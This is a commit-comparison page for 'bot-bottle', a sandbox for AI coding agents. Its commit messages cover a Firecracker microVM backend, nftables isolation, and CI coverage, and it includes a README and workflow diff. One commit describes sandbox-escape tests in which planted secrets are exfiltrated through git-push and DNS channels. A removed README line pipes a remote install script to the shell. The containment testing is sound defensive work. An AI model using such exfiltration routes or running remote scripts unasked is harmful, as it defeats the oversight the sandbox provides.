Compare commits

..

18 Commits

Author SHA1 Message Date
didericis c44a1ffdc1 ci(coverage): run the diff-coverage gate on a KVM runner
test / coverage (pull_request) Waiting to run
lint / lint (push) Successful in 2m3s
test / unit (pull_request) Successful in 1m0s
test / integration (pull_request) Successful in 16s
The Firecracker VM/SSH orchestration (launch/boot/SSH/isolation-probe,
~230 lines) is covered by the integration suite, which needs /dev/kvm +
the provisioned pool — a container runner skips it, so those lines read
uncovered and the 90% diff gate can't pass there (it's been red since the
backend landed). Move the `coverage` job to a self-hosted `kvm` runner
with a firecracker-readiness preflight (binary + /dev/kvm + `backend
status`), so the integration test actually runs and the orchestration is
covered. Unit/lint stay on ubuntu-latest. README documents the runner
prerequisites.

Also close the last unit-coverable gaps (bottle exec/close, bottle_plan
properties, docker status/setup branches, netpool span/conflict) so the
gate clears 90% (90.3%) with the firecracker integration test running.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-12 15:55:39 -04:00
didericis 568cf4f35a test(coverage): unit-cover firecracker cleanup, delegates, and helpers
Cleanup orphan-enumeration + removal, the backend setup/status/teardown/
cleanup classmethod delegates, guest-IP parsing, the unprivileged nft/TAP
probes, console-tail, and require_firecracker preflight branches. Lifts
the unit-only diff-coverage on the firecracker backend substantially;
the deep VM boot/SSH orchestration remains integration-covered.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 19:32:57 -04:00
didericis 8941b92e37 test(coverage): cover backend setup/status/teardown branch matrix
Unit tests for the generic host-setup paths across firecracker/docker/
macos-container — NixOS vs systemd (root/non-root) vs neither, missing
binary/daemon/service, persistence reporting, and the netpool shell
renderer. Lifts diff-coverage on the new setup code from ~0 to full.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 19:25:32 -04:00
didericis cb5d22b25f fix(tests): satisfy pyright strict on the overlap-test helper
The TestNetpoolOverlap `_routes` helper had an untyped fake_run + a bare
`dict`/`object` return, tripping 9 strict-mode errors (missing type args,
missing param annotations, `object` not usable as a context manager).
Type it properly: entries: list[dict[str, str]], fake_run params, and a
`AbstractContextManager[MagicMock]` return. `pyright` is clean again.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 19:21:04 -04:00
didericis 049103ac99 docs: mark smolmachines-specific PRDs + research as superseded
test / unit (pull_request) Successful in 50s
test / integration (pull_request) Successful in 17s
test / coverage (pull_request) Failing after 1m4s
Add a "Superseded (2026-07-11)" banner and flip Status: Active →
Superseded on the 8 smolmachines-specific docs (7 PRDs + the VM-backend
research). Bodies are left intact as a historical record; the banner
points at the removal commit and the landscape doc so a reader isn't
misled into thinking the backend still exists.

Incidental mentions in other PRDs (git-gate, cred-proxy, print-parity,
etc.) are left as-is.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 19:09:43 -04:00
didericis f71558aff6 fix(firecracker): run the agent from /home/node, not the /root SSH cwd
lint / lint (push) Failing after 1m55s
test / unit (pull_request) Successful in 53s
test / integration (pull_request) Successful in 19s
test / coverage (pull_request) Failing after 1m3s
The control SSH logs in as root, so the agent (dropped to node via
runuser) inherited cwd=/root. That was harmless while the rootless
rootfs left /root node-owned, but the dropbear fix (chown /root →
root:root 0700) made /root unreadable to node — so the agent's cwd was
inaccessible, breaking Node's process.cwd(), Claude Code's shell-snapshot
machinery, and `/doctor` (which reported /root/.claude EACCES and failed
every Bash command).

Run the agent from its workdir (default /home/node) via `env --chdir`.
Not a `sh -c 'cd … && exec "$@"'` wrapper: ssh space-joins everything
after the host into one string for the guest shell, so the quoted script
+ $@ get re-split and mangled (it exec'd the $0 placeholder → exit 127).
`env --chdir=DIR …` is all simple words, so it survives the join.

Verified end-to-end: a real headless claude bottle now runs its Bash tool
and exits 0 (was EACCES/127 before).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 18:57:33 -04:00
didericis a80356af75 feat(firecracker): portable systemd-unit install for the network pool
lint / lint (push) Failing after 2m5s
test / unit (pull_request) Successful in 1m5s
test / integration (pull_request) Successful in 22s
test / coverage (pull_request) Failing after 1m5s
Make the network pool a persistent, distro-uniform resource instead of a
non-persistent per-distro shell command. systemd is the common
denominator across Debian/Ubuntu/Fedora/RHEL/Arch/… (and NixOS), so
`backend setup` on any systemd host now installs one bot-bottle-owned
oneshot unit (bot-bottle-firecracker-netpool.service): params pinned via
Environment= (so it doesn't depend on $SUDO_USER at boot), ExecStart/Stop
delegating to the bundled bring-up script (single source of logic).

- render_systemd_unit() in netpool.py (derived from the same constants
  as the shell script + nix module).
- backend setup: install + enable the unit directly when run as root,
  else print a self-contained copy-paste block. NixOS keeps its
  declarative module (which produces the same-named unit); non-systemd
  hosts fall back to the raw imperative script.
- backend teardown: symmetric — disable + remove the unit.
- backend status: report the unit's active/inactive state so you can
  tell a persistent install from an imperative one.

Net: one install path (`backend setup`), persistent, identical across
distros; per-distro variance shrinks to installing nft + iproute2.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 18:33:42 -04:00
didericis 3d7c508dc4 fix(firecracker): make the launch path work end-to-end
lint / lint (push) Failing after 2m2s
test / unit (pull_request) Successful in 56s
test / integration (pull_request) Successful in 24s
test / coverage (pull_request) Failing after 1m11s
First real end-to-end launch (there was no firecracker integration test)
surfaced three bugs in the control/provision path, all now verified fixed
by tests/integration/test_firecracker_launch:

1. Guest SSH rejected the correct key. The rootless rootfs build
   (`docker export | tar` as a non-root user) can't preserve uid 0, so
   every path — including /root — is owned by the build uid (node in
   guest). dropbear refuses root's authorized_keys when /root isn't
   root-owned, so auth fell back to password → denied. bb-init now
   `chown -R 0:0 /root`.

2. The SSH client (newer OpenSSH) didn't reliably present the -i key
   against the operator's ~/.ssh config; add `IdentitiesOnly=yes` to
   ssh_base_argv so only the per-bottle key is offered.

3. cp_in double-wrapped the remote command as `sh -c <remote>`, but ssh
   space-joins everything after the host into one string for the guest
   shell, collapsing `sh -c mkdir -p X && …` to `mkdir` with no operand
   ("missing operand"). Pass the command as a single arg and let the
   guest login shell run it (stdin still carries the tar).

Also stop discarding dropbear's stderr (`-E` now reaches the host-side
console.log) so future guest-auth issues are debuggable.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 18:16:57 -04:00
didericis f42a0dc7fe fix(firecracker): status() defers unverifiable nft, like the preflight
`status()` hard-failed when it couldn't confirm the nft table, but listing
nftables usually needs root — so an unprivileged `backend status` reported
"not ready" even with the pool fully up, making it useless as a launch
gate (and skipping the firecracker integration test on a set-up host).

Base readiness on what the launch preflight actually hard-requires: the
TAP pool present (unprivileged, authoritative) + no range overlap. Report
the nft table state (present / unverified / not-confirmable-unprivileged)
but don't let it flip readiness — the post-boot isolation probe is the
authoritative isolation check, same as the preflight's deferral.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 17:28:17 -04:00
didericis 480269b116 refactor(firecracker): non-invasive NixOS module (no firewall switch)
The module used `networking.nftables.tables.*` (which forces
`networking.nftables.enable = true`, flipping the host firewall backend)
and `systemd.network.enable` (handing interfaces to systemd-networkd) —
disruptive on an iptables + Docker daily driver.

Rewrite it to a single systemd oneshot that brings the pool up: idempotent
`ip tuntap` for the TAPs + `nft -f` for the independent `inet bot_bottle_fc`
table (its own hooks at priority -10), with ExecStop teardown. Same as the
imperative script, but declarative. It touches neither the firewall backend
nor networkd, so it coexists with iptables/Docker/ufw/firewalld. Verified
through the NixOS module system (service present, firewall untouched).

Drop the now-redundant `render_nixos_module()` paste generator (the module
is a real importable file) and point `backend setup` at importing it (flake
output or the file path), noting it's non-invasive.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 17:25:50 -04:00
didericis 949b001464 feat(firecracker): show binary/KVM prerequisites in backend setup
lint / lint (push) Failing after 1m58s
test / unit (pull_request) Successful in 57s
test / integration (pull_request) Successful in 19s
test / coverage (pull_request) Failing after 1m6s
`backend setup --backend=firecracker` only covered the network pool. Lead
with the other prerequisites: the firecracker binary (with a release
install pointer when it's not on PATH, plus a NixOS note), a /dev/kvm
check, and a reminder about the cached guest kernel + static dropbear and
mke2fs. The network pool is now step 2.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 17:03:04 -04:00
didericis 656966c2c4 feat(backend): add teardown() to the contract; backend teardown
lint / lint (push) Failing after 1m56s
test / unit (pull_request) Successful in 52s
test / integration (pull_request) Successful in 17s
test / coverage (pull_request) Failing after 1m2s
Add an abstract teardown() classmethod to BottleBackend — the inverse of
setup(), surfaced as `./cli.py backend teardown [--backend=NAME]`
(uninstall). Symmetric with setup: it prints the privileged commands /
declarative config change to remove the host prerequisites.

- firecracker: NixOS-aware — disable the flake module (or drop the
  import) and rebuild, or `firecracker-netpool.sh down` imperatively.
- docker / macos-container: nothing to undo (no privileged host state);
  print a short note.

Not called by the launch path or the test suite. Extends test_cli_backend
for the new dispatch.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 16:56:17 -04:00
didericis 15f0e0b507 test(integration): unblock sandbox-escape; add firecracker launch smoke
Sandbox-escape couldn't run: its git-gate fixture had no host_key, so the
preflight ssh-keyscanned the deliberately-unreachable upstream and die()d
in setUpClass. Preset a throwaway host_key so the keyscan is skipped (the
key is never used — the push is rejected by gitleaks first).

That unblocked a second, pre-existing issue: the planted secrets weren't
caught by gitleaks (the AWS example key is allowlisted; the others hit
entropy/keyword gates in the keyword-free URL the attack embeds). Reshape
the fixtures — three structural, high-entropy shapes gitleaks matches
without a keyword (github / slack / gitlab) for the git-push attack, and
a separate alphanumeric secret for the DNS attack (a gitleaks-matchable
token carries separators that aren't valid DNS labels, so the two uses
can't share one secret). All five sandbox-escape tests now pass.

Add test_firecracker_launch: a launch smoke (exec + proxy env) gated on
`FirecrackerBottleBackend.status() == 0` (the `backend status` result),
skipping with setup instructions when the TAP pool / nft table aren't
provisioned.

The git-gate-only-matches-gitleaks-patterns asymmetry the reshape exposed
is tracked separately (#346).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 16:55:59 -04:00
didericis dd2e83b8a9 refactor(backend): generic setup/status; drop firecracker-only CLI
lint / lint (push) Failing after 2m1s
test / unit (pull_request) Successful in 1m3s
test / integration (pull_request) Successful in 23s
test / coverage (pull_request) Failing after 1m11s
Add abstract `setup()`/`status()` classmethods to BottleBackend (same
per-host, no-instance shape as is_available) so host provisioning is
part of the backend contract, not a per-backend command. Replace the
`./cli.py firecracker {setup,status}` command with a generic
`./cli.py backend {setup,status} [--backend=NAME]` that resolves a
backend (flag / $BOT_BOTTLE_BACKEND / host default) and dispatches —
swapping backends is just a different --backend.

Implementations:
- firecracker: moved out of cli/ into backend/firecracker/setup.py
  (network pool module/script + range-overlap check), unchanged output.
- docker: new backend/docker/setup.py — reports docker on PATH, daemon
  reachability, and gVisor runsc; setup notes no privileged pool is
  needed. Minimal placeholder; richer version tracked in #345.
- macos-container: new setup.py — container CLI + system-service checks.

Also retarget the launch-preflight / isolation-probe pointers to the new
command. New test_cli_backend covers dispatch + docker setup/status.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 15:18:40 -04:00
didericis ce3fad9320 feat(firecracker): move pool off CGNAT, add overlap guard + flake module
The default TAP-pool base was 100.64.0.0/10 (RFC-6598 CGNAT) — chosen to
dodge RFC-1918, but that's exactly the range Tailscale assigns node
addresses from, so on a Tailscale host it's the worst pick. Move the
default to 10.243.0.0/16, an obscure RFC-1918 block that steers clear of
docker/libvirt/k8s/LAN and Tailscale.

No default is collision-proof, so add netpool.overlapping_routes(): it
parses `ip -json route show table all` and flags any route intersecting
the pool range (excluding our own bbfc* TAPs and the default route). The
launch preflight warns on overlap; `backend status` reports it.

Distribute the NixOS host setup as a flake module instead of a
copy-pasted blob: nix/firecracker-netpool.nix computes the taps / nft
table from typed options (poolSize, ipBase, ifacePrefix, owner) with a
/31-alignment assertion, and flake.nix exposes it as
nixosModules.firecracker-netpool. Defaults mirror the backend constants;
writeEnvFile emits the matching BOT_BOTTLE_FC_* so the host pool and the
launcher can't drift.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 15:18:21 -04:00
didericis c07ebca867 feat(backend): remove smolmachines; firecracker is the Linux default
lint / lint (push) Successful in 1m54s
test / unit (pull_request) Successful in 58s
test / integration (pull_request) Successful in 18s
test / coverage (pull_request) Failing after 1m3s
Delete the smolmachines backend (the whole bot_bottle/backend/smolmachines
package and its tests). It had fatal Linux issues (TSI networking under
sustained use, exec-channel contention, no SIGWINCH) and is superseded by
the Firecracker backend (issue #342).

Backend selection now:
- default is macos-container on macOS, firecracker on KVM-capable Linux
  hosts, and docker as the last resort (was smolmachines).
- firecracker is selected on a KVM host even when the `firecracker`
  binary isn't installed, so start routes through its preflight and
  prints an install pointer (same UX as require_container), instead of
  silently falling back. Split is_host_capable() (Linux + KVM) out of
  is_available() (adds the binary check) to drive this.

Retarget the cross-backend tests (parity, print-parity, prepare,
workspace, freezer, selection) from smolmachines to firecracker rather
than dropping the coverage. Remove docker.util.image_id/save, which only
smolmachines used. Update README/AGENTS/example bottles and stale
comments; historical docs/prds are left as a point-in-time record.

BREAKING: BOT_BOTTLE_BACKEND=smolmachines now errors as unknown.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WBMWTEtQdJ4W5UrWuLHCck
2026-07-11 13:24:47 -04:00
didericis c276f7b0b1 feat(firecracker): add Linux microVM backend to replace smolmachines
lint / lint (push) Successful in 2m4s
test / unit (pull_request) Successful in 59s
test / integration (pull_request) Successful in 18s
test / coverage (pull_request) Failing after 1m7s
Adds a Firecracker-based backend for Linux, providing mature KVM-based
microVM isolation to replace smolmachines/libkrun (issue #342, closes
the dead-end tracked in #332).

Architecture:
- Guest control over SSH (dropbear injected into the rootfs) on a
  point-to-point TAP link. `ssh -t` forwards SIGWINCH natively, so no
  resize bridge is needed.
- Networking: a one-time, root-provisioned pool of user-owned TAP
  devices (no shared bridge → no docker0/virbr0/cni0 collisions) plus a
  dedicated `table inet bot_bottle_fc` nftables table (independent of
  Docker/ufw/firewalld rules). `./cli.py firecracker setup` prints the
  host-appropriate config (NixOS module or sudo script).
- Rootfs: `docker export` → ext4 via `mke2fs -d` (rootless, no mount),
  cached by image digest; per-bottle SSH pubkey + IP passed via the
  kernel cmdline.
- Sidecar: reuses the Docker bundle, published on the slot's host TAP IP.
- Fail-closed isolation: TAP pool verified at preflight; the egress
  boundary is proven empirically post-boot (before the agent runs) by a
  canary probe — the VM must fail to reach the host directly, or launch
  is refused.

Linux hosts with Firecracker + KVM now default to this backend;
macOS stays on macos-container.

Not yet validated end-to-end on live hardware (requires the one-time
network pool). Unit tests + pyright pass.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01G8p32HJgPoS1hLPWubbftM
2026-07-11 10:32:55 -04:00
didericis-claude 814c7338a1 docs(research): update landscape doc — SuperHQ, multi-backend, multi-provider, in-flight directions
- Broaden scope from "Claude Code in Docker" to "AI coding agents in isolated sandboxes"
- Add SuperHQ (superhq.ai, v0.4.4) as a new adjacent-competitor entry: macOS-only
  microVM desktop app, overlaps on isolation/credential-proxy/multi-provider but has
  no manifest layer and no audit logging
- Note SuperHQ's user-voiced audit gap (Brian Cheong, Dunialabs.io) and that
  bot-bottle already covers it
- Update differentiation list to reflect three backends (Docker, Apple container,
  smolmachines) and three built-in providers (Claude Code, Codex, Pi) plus plugin system
- Add in-flight directions for forge-native dispatch (#317) and paid web control plane
  (#327) with honest framing: lifecycle concept is not novel vs. cloud services (Devin,
  Copilot Workspace); differentiation is self-hosted + manifest-driven + stronger isolation
2026-07-09 18:55:15 +00:00
132 changed files with 4630 additions and 8328 deletions
+28 -14
View File
@@ -71,28 +71,42 @@ jobs:
- name: Run integration tests
run: python3 -m unittest discover -t . -s tests/integration -v
# Combined unit+integration coverage + the diff-coverage gate.
# See docs/decisions/0004-coverage-policy.md. The hard gate is diff
# coverage (new/changed lines >= 90%); the combined + critical reports
# are informational and degrade gracefully when the runner has no
# Docker (integration tests skip, those modules just read lower).
# Combined unit+integration coverage + the diff-coverage gate (the hard
# gate: new/changed lines >= 90%). See docs/decisions/0004-coverage-policy.md.
#
# This runs on a self-hosted KVM runner (label `kvm`), NOT ubuntu-latest,
# because the Firecracker backend's subprocess/VM orchestration
# (launch/boot/SSH/isolation-probe) is covered by the integration suite,
# and that suite needs `/dev/kvm` + the provisioned TAP/nft pool — which a
# container-based runner doesn't have. On such a runner the firecracker
# integration test skips and its ~230 orchestration lines read as
# uncovered, so the gate can't pass there.
#
# Runner prerequisites (provision once on the host; see the README
# "Firecracker on Linux" section): the `firecracker` binary on PATH,
# `/dev/kvm` accessible to the runner user, Docker, the cached guest
# kernel + static dropbear (BOT_BOTTLE_FC_KERNEL / BOT_BOTTLE_FC_DROPBEAR),
# and the network pool installed as the persistent systemd unit
# (`./cli.py backend setup --backend=firecracker`). The preflight step
# below fails fast with instructions if anything is missing.
coverage:
runs-on: ubuntu-latest
runs-on: [self-hosted, kvm]
steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Preflight — Firecracker host is ready
run: |
command -v firecracker >/dev/null || {
echo "firecracker not on PATH — provision the runner (README: Firecracker on Linux)"; exit 1; }
test -e /dev/kvm || { echo "/dev/kvm missing — KVM not available on this runner"; exit 1; }
# `backend status` exits non-zero unless the TAP pool is up + no
# range overlap; it prints the exact `backend setup` fix.
python3 cli.py backend status --backend=firecracker
- name: Install dev requirements
run: python3 -m pip install -r requirements-dev.txt
- name: Combined coverage (unit + integration)
- name: Combined coverage (unit + integration, incl. firecracker)
run: PYTHON=python3 bash scripts/coverage.sh critical
- name: Diff-coverage gate (changed lines >= 90%)
+5 -5
View File
@@ -9,11 +9,11 @@ host. A Python CLI (entry point `cli.py`, package `bot_bottle/`) orchestrates
the runtime lifecycle and the copying of skills and env vars into it.
The default backend on compatible macOS hosts is macos-container:
agents and sidecar bundles run through Apple's `container` CLI without
requiring Docker. The smolmachines backend remains available with
`BOT_BOTTLE_BACKEND=smolmachines` or `--backend=smolmachines`; agents
run in a libkrun micro-VM, while the sidecar bundle still uses Docker.
The legacy Docker backend remains available with `BOT_BOTTLE_BACKEND=docker`
or `--backend=docker`.
requiring Docker. On KVM-capable Linux hosts the default is firecracker:
agents run in a Firecracker microVM reached over SSH on a point-to-point
TAP, while the sidecar bundle still uses Docker. The legacy Docker
backend remains available with `BOT_BOTTLE_BACKEND=docker` or
`--backend=docker`.
## Goals
+1 -1
View File
@@ -24,7 +24,7 @@
# Exposed ports inside the container:
# 9099 egress (mitmproxy, agent-facing HTTPS proxy)
# 9418 git-gate (git-daemon)
# 9420 git-gate smart HTTP (smolmachines agent-facing transport)
# 9420 git-gate smart HTTP (VM-backend agent-facing transport)
# 9100 supervise (MCP HTTP)
# Stage 1: gitleaks binary. The upstream gitleaks image is alpine
+14 -13
View File
@@ -25,14 +25,14 @@
- **Provider templates (Claude, Codex)** — `Dockerfile.claude` / `Dockerfile.codex`, or a bottle-supplied Dockerfile. Claude auth via long-lived OAuth token; Codex via opt-in host device-auth forwarding.
- **gVisor auto-detect** — on Linux hosts where `runsc` is registered with Docker, every bottle launches under it for a userspace syscall barrier; no manifest config required.
- **Apple Container backend (macOS default when available)** — runs the agent and sidecar bundle with Apple's `container` CLI, using a host-only agent network plus a separate sidecar egress network.
- **Smolmachines backend** — runs the agent in a libkrun micro-VM while the sidecar bundle stays in Docker. TSI and smolmachines DNS filtering close the raw DNS exfiltration gap that exists in the legacy Docker backend. Runs on macOS (Hypervisor.framework) and Linux (KVM, `/dev/kvm`).
- **Legacy Docker backend** — still available for examples, CI, and hosts without Apple Container via `BOT_BOTTLE_BACKEND=docker` or `--backend=docker`.
- **Firecracker backend (Linux default when available)** — runs the agent in a KVM Firecracker microVM reached over SSH on a point-to-point TAP, with the sidecar bundle in Docker. A dedicated, fail-closed `nftables` table isolates the guest, closing the raw DNS/IP exfiltration gap that exists in the legacy Docker backend. Requires KVM (`/dev/kvm`) and a one-time privileged network-pool setup.
- **Legacy Docker backend** — still available for examples, CI, and hosts without Apple Container or KVM via `BOT_BOTTLE_BACKEND=docker` or `--backend=docker`.
## Architecture
On the default macOS Apple Container backend, a bottle is an agent container on a host-only internal network plus a sidecar bundle attached to both that internal network and a NAT egress network. The agent gets HTTP(S)_PROXY and CA bundle env vars pointing at the sidecar's internal-network IP, so HTTP/HTTPS traffic flows through the sidecar instead of direct egress. `bottle.git` / git-gate is intentionally deferred on this backend until a safe Apple Container key-delivery path exists.
On the smolmachines backend, a bottle is an agent micro-VM plus a Docker sidecar bundle for egress, git-gate, and supervise. The VM reaches the sidecars through a per-bottle loopback alias allowed by TSI; smolmachines handles DNS filtering below the guest OS.
On the Firecracker backend, a bottle is an agent microVM plus a Docker sidecar bundle for egress, git-gate, and supervise. The VM reaches the sidecars over a per-bottle point-to-point TAP link; a dedicated fail-closed `nftables` table (`inet bot_bottle_fc`) confines the guest to that link, so nothing leaves the box except through the sidecars. The TAP pool and nft table are provisioned once (root); per-launch needs no privilege.
On the legacy Docker backend, the same logical bottle is two containers per agent: an `agent` container and a `sidecars` container. They share a per-agent Docker `--internal` network; the agent has no default route off-box.
@@ -71,25 +71,26 @@ When the agent exits, `cli.py` tears down every sidecar and both networks; nothi
## Quickstart
On compatible macOS hosts, the default backend requires Apple's `container` CLI and does not require Docker. The smolmachines backend requires Docker on the host for the sidecar bundle plus `smolvm` (macOS or Linux). The legacy Docker backend requires Docker. Claude bottles also need a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
On compatible macOS hosts, the default backend requires Apple's `container` CLI and does not require Docker. The Firecracker backend (Linux) requires Docker on the host for the sidecar bundle plus the `firecracker` binary and KVM. The legacy Docker backend requires Docker. Claude bottles also need a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
Use `BOT_BOTTLE_BACKEND=docker ./cli.py start <agent>` on hosts where Apple Container is not installed and Docker is the desired backend.
Use `BOT_BOTTLE_BACKEND=docker ./cli.py start <agent>` on hosts where neither Apple Container nor KVM is available and Docker is the desired backend.
### smolmachines on Linux
### Firecracker on Linux
The smolmachines backend runs on Linux as well as macOS. On Linux, `smolvm`/libkrun use KVM, so the host needs:
On Linux, a KVM-capable host defaults to the Firecracker backend. It needs:
- **`/dev/kvm`** present and accessible. Load `kvm-intel` or `kvm-amd` (and enable virtualization in BIOS/firmware). The invoking user must be in the `kvm` group: `sudo usermod -aG kvm "$USER"` then re-login. bot-bottle preflights this and reports exactly what's missing.
- **`smolvm`** on `PATH`: `curl -sSL https://smolmachines.com/install.sh | sh`.
- **Docker** for the sidecar bundle and image build, same as macOS.
Per-bottle isolation works the same as macOS without any `ifconfig`/sudo step — all of `127.0.0.0/8` is already loopback on Linux, so each bottle's sidecar bundle is published on its own `127.0.0.<N>` and TSI's allowlist is scoped to that `/32`.
- **`firecracker`** on `PATH`: grab a release from <https://github.com/firecracker-microvm/firecracker/releases>. Start flows print this pointer when the binary is missing.
- **Docker** for the sidecar bundle and image build.
- **A one-time privileged network setup** — the per-bottle TAP pool plus the fail-closed `nftables` isolation table. Run `./cli.py backend setup --backend=firecracker` for the host-appropriate config (a NixOS module, a `sudo` script elsewhere); `./cli.py backend status --backend=firecracker` reports what's present, including whether the pool range collides with an existing route. The pool defaults to `10.243.0.0/16` (an obscure RFC-1918 block that dodges docker/libvirt/LAN and, deliberately, Tailscale's `100.64.0.0/10` CGNAT range); override with `BOT_BOTTLE_FC_IP_BASE` if it clashes on your host.
```sh
BOT_BOTTLE_BACKEND=smolmachines ./cli.py start <agent>
BOT_BOTTLE_BACKEND=firecracker ./cli.py start <agent>
```
> **NixOS:** enable `virtualisation.docker`, ensure the KVM module is loaded (`boot.kernelModules = [ "kvm-intel" ];` or `kvm-amd`), and add your user to the `kvm` and `docker` groups. If you run bottles from a Gitea Actions runner, use a `host`-label runner so Docker, `smolvm`, and `/dev/kvm` are all reachable from the job. `smolvm` isn't in nixpkgs — install the release binary (pin the version) and put it on the runner's `PATH`.
> **NixOS:** enable `virtualisation.docker`, ensure the KVM module is loaded (`boot.kernelModules = [ "kvm-intel" ];` or `kvm-amd`), and add your user to the `kvm` and `docker` groups. For the network pool, consume the flake module — `imports = [ inputs.bot-bottle.nixosModules.firecracker-netpool ]; services.bot-bottle-firecracker = { enable = true; owner = "you"; };` — then `nixos-rebuild switch` (imperative nft/TAP rules don't survive a rebuild; channel users can `imports = [ <bot-bottle>/nix/firecracker-netpool.nix ]`). `firecracker` isn't in nixpkgs by default as a user binary — install the release binary (pin the version) and put it on `PATH`.
> **CI:** the coverage gate (`.gitea/workflows/test.yml` → `coverage` job) runs on a self-hosted runner labelled `kvm`, because the Firecracker backend's VM/SSH orchestration is exercised only by the integration suite, which needs `/dev/kvm` + the provisioned pool (a container runner would skip it and read as uncovered). Provision that runner exactly like a normal Firecracker host — `firecracker` on `PATH`, `/dev/kvm`, Docker, the cached guest kernel + static dropbear, and the pool installed as the persistent systemd unit — then register it with the `kvm` label. The unit/lint jobs still run on `ubuntu-latest`.
```sh
./cli.py start <agent> # builds the image on first run, drops you into claude
+3 -3
View File
@@ -227,9 +227,9 @@ class AgentProvider(ABC):
from .backend.util import AGENT_CA_PATH, log_ca_fingerprint, select_ca_cert
from .log import die
cert_host_path, label = select_ca_cert(plan.egress_plan)
# Ensure the target directory exists. smolvm's pack step may not
# preserve the empty /usr/local/share/ca-certificates/ directory
# on Linux; mkdir -p is idempotent and safe for all backends.
# Ensure the target directory exists. A backend's rootfs build
# may not preserve the empty /usr/local/share/ca-certificates/
# directory; mkdir -p is idempotent and safe for all backends.
bottle.exec("mkdir -p /usr/local/share/ca-certificates", user="root")
bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
r = bottle.exec(
+64 -56
View File
@@ -26,8 +26,9 @@ backend exposes five methods:
Selection is driven by `--backend` on `start` or BOT_BOTTLE_BACKEND
(env var). When neither is set, compatible macOS hosts default to
`macos-container`; other hosts default to `smolmachines`. Per PRD 0003
the manifest does not carry a backend field; the host picks.
`macos-container`; Linux hosts with KVM default to `firecracker`;
otherwise `docker`. Per PRD 0003 the manifest does not carry a
backend field; the host picks.
"""
from __future__ import annotations
@@ -36,10 +37,10 @@ import os
import shlex
import sys
from abc import ABC, abstractmethod
from contextlib import AbstractContextManager, contextmanager
from contextlib import AbstractContextManager
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Generator, Generic, Sequence, TypeVar
from typing import Any, Generic, Sequence, TypeVar
from ..agent_provider import AgentProvisionPlan, get_provider, build_agent_provision_plan
from ..egress import EgressPlan
@@ -78,9 +79,6 @@ class BottleSpec:
# True when launched via --headless (no TTY, no interactive prompts).
# The git-gate host-key preflight uses this to error rather than prompt.
headless: bool = False
# Image startup policy. "fresh" preserves the normal build path;
# "cached" reuses the current local image/artifact without rebuilding.
image_policy: str = "fresh"
@dataclass(frozen=True)
@@ -100,14 +98,14 @@ class BottlePlan(ABC):
@property
def git_gate_insteadof_host(self) -> str:
"""Host (and optional port) used in git-gate insteadOf URLs.
Docker uses the compose-network DNS alias; smolmachines
overrides with a loopback IP:port since TSI has no DNS."""
Docker uses the compose-network DNS alias; VM backends may
override with an IP:port when the guest has no DNS."""
return "git-gate"
@property
def git_gate_insteadof_scheme(self) -> str:
"""URL scheme for git-gate insteadOf rewrites. 'git' for
Docker (git daemon); 'http' for smolmachines (HTTP proxy
Docker (git daemon); VM backends may override (e.g. 'http'
over a published host port)."""
return "git"
egress_plan: EgressPlan
@@ -185,8 +183,8 @@ class BottleCleanupPlan(ABC):
class ExecResult:
"""Captured result of `Bottle.exec`. Backend-neutral: the Docker
impl populates it from a `subprocess.CompletedProcess`, but a
future fly/smolmachines backend could populate it from any source
that produces a returncode + captured streams."""
VM backend could populate it from any source that produces a
returncode + captured streams."""
returncode: int
stdout: str
@@ -204,7 +202,7 @@ class ActiveAgent:
of sidecar daemons currently up for this bottle (`egress`,
`git-gate`, `supervise`); the dashboard uses it to
gate edit verbs. `backend_name` is the matching key in
